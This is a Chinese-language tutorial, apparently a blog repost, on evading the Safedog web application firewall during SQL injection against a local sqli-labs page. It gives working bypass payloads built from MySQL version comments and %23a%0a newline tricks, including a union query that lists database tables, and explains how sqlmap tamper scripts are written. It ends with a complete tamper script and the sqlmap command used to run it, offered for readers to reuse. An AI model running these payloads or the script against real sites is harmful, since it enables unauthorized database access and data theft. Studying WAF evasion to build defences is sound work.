zl程序教程

您现在的位置是:首页 >  其他

当前栏目

从绕过安全狗到编写tamper脚本全过程详解

2023-03-20 14:48:00 时间

0x00 简述

  • 安全狗这些waf都是有一个特性,都是基于正则匹配去过滤的,但是实际情况是需要权衡可用性和安全性
  • 当然厂商肯定是考虑到用户体验,所以不能出现什么东西都拦截,所以最终就是正则的绕过 注意: 版本不同,他的正则规则也是不一样的 所以有的payload在新老版本是不能通吃。 但是没有关系,你学会这么绕,这都不是问题

0x01 判断被拦截关键字

我们以 order by 3 这个简单的语句为例子

提供思路就是破坏单词去测试:

http://10.211.55.4/Less-2/?id=1 order by 3  (拦截)

http://10.211.55.4/Less-2/?id=1 ordwer by 3 (破坏了order 没有拦截)

http://10.211.55.4/Less-2/?id=1 order bay 3 (破坏了by 没有拦截)

所以狗拦截的东西就是 order by 两个一起出现

所有后面的测试都是按照这个思路初步的判断。

0x02 一些简单的知识点

  • 绕过的一些基础- MySql注释内语句也可执行(/*! */)
  • /*! ....*/ 在其他很多地方都是注释。
  • 但是在mysql中不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/*!....*/中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。
/*!50001 select * from test */;

这里的50001表示假如 数据库是5.00.01以上版本,该语句才会被执行,基本上只做一个版本的判断。

  • Mysql常用的符号
换行符号
%0a

注释符合
%23

空白字符
"%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0h", "%0i", "%0j"

不同的数据库不太一样,可以自己查一下

还有一些bypass的常用注释符号

#
--
-- -
--+
//
/**/
/*letmetest*/
;%00

0x03 总结安全狗拦截的点

  • and 1

只要and后面接数字,安全狗就会拦截

  • order by

order 后面接by,安全狗就会拦截

  • union select

只要union select 结合就被拦截,实测发现还是对select这个词的更加严格,主要绕select database()

  • database后面接括号,安全狗就会拦截

下面是测试成功的例子

order by 绕过

测试 order aby不拦截 ,我们让 by前面的注释掉就可以绕过

http://10.211.55.4/Less-2/?id=1 order %23a%0aby 3

union select绕过,同理

http://10.211.55.4/Less-2/?id=-1 union %23a%0a/*!select*/ 1,2,3

database()绕过

http://10.211.55.4/Less-2/?id=-1 union %23a%0a/*!select*/ 1,%23a%0adatabase/*!*/(),3

一个完整的union查询

http://10.211.55.4/Less-2/?id=-1 union %23a%0a/*!select*/ 1,group_concat(table_name),3 %23a%0a/*!from*/ information_schema.tables where table_schema='security'

还有一种注释版本号的 绕过

http://10.211.55.4/Less-2/?id=-1 union /*!44466select*/ 1,database/*!()*/,3

0x04 Sqlmap tamper的编写

tamper是sqlmap对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf。

为了好理解直接案例深刨析:

我们理解一下一个常用的tamper :space2comment.py

这个脚本的功能就是:用“/**/”替换空格符

下面是完整的代码

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/**/"
                    continue

            elif payload[i] == ''':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "/**/"
                continue

            retVal += payload[i]

    return retVal

0x05 tamper主要的三个部分

  • 第一部分priority 定义脚本的优先级,用于有多个tamper脚本的先后顺序
  • 第二部分dependencies函数 该脚本适用/不适用的范围,也可以不写。
  • 第三部分tamper函数 主要就是我们绕过的精华,要替换的内容。 priority优先级

使用了多个tamper时,PRIORITY的参数等级较高的tamper先使用

__priority__ = PRIORITY.LOW

有大概七个等级 LOWEST LOWER LOW NORMAL HIGH HIGHER HIGHEST

dependencies函数主要是提示用户适用范围

上文中没写,就是没有提示,你要自己知道,其实不写也行就直接pass
def dependencies():
     singleTimeWarnMessage("这里输入想显示的内容“)

tamper是重头戏

这是一个简单的双写绕过,tamper里面主要是一个替换的过程

payload就是那些关键词select union这下,经过替换只有return 回去,就是处理好的内容

def tamper(payload, **kwargs):
    return payload.replace('union','uniounionn')

所以中间具体怎么替换就是你的事情了。只有最后return回去就好了

0x06 tamper编写测试方法

这里我说下几个坑点:

  • 手工过和写tamper不一样,sqlmap的语句和你用的并不一样
  • 我有两个建议,一个是用slqmap 挂代理到burp去看到底可以不,我没用这个方法,点的有点累
  • 我是打开 -v 参数,去看payload和提示,看哪里断开,复制payload去手工看看,绕过编写一下tamper
  • 还有调试过程中 要打开–flush 参数刷新缓存
  • 还有一个就是你的python代码能力了,如果你只是用简单的replace()函数,就要注意替换的顺序
  • 例如会用到的相似的函数:
SESSION_USER()  CURRENT_USER()  USER() 
这几个都有 user() 如果你在最前面 替换了user() 
那么后面就会出现CURRENT_%23a%0aUSER/*!*/() 我这种绕过就不兼容了
得在后面再自己调整
  • 下面是我的绕过参数:
python3 sqlmap.py -u "http://10.211.55.4/Less-2/?id=1" --tamper dogz.py --random-agent --flush -v 3 --batch --dbms mysql --current-user –-tech=U

0x07 结束

绕狗脚本给大家,如果跑的时候失效了可以按照上面的方法修改修改就好了

#!/usr/bin/python3.7
# Author:Zeo

from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("Zeo_bypass_safedog4.0")
    
def tamper(payload, **kwargs):
    payload=payload.replace('AND','/*!44466AND*/')
    payload=payload.replace('ORDER','/*!44466order*/')
    payload=payload.replace('BY','%23a%0aby')
    payload=payload.replace('USER()','%23a%0aUSER/*!*/()')
    payload=payload.replace('DATABASE()','%23a%0aDATABASE/*!*/()')
    payload=payload.replace('SESSION_%23a%0aUSER/*!*/()','%23a%0aSESSION_USER()')
    payload=payload.replace('UNION ALL SELECT','UNION ALL /*!44466SELECT*/')
    payload=payload.replace('CURRENT_%23a%0aUSER/*!*/()','CURRENT_USER()')
    return payload

最终绕过安全狗成功跑出数据

参考文章地址:https://blog.csdn.net/god_zzZ/article/details/105650673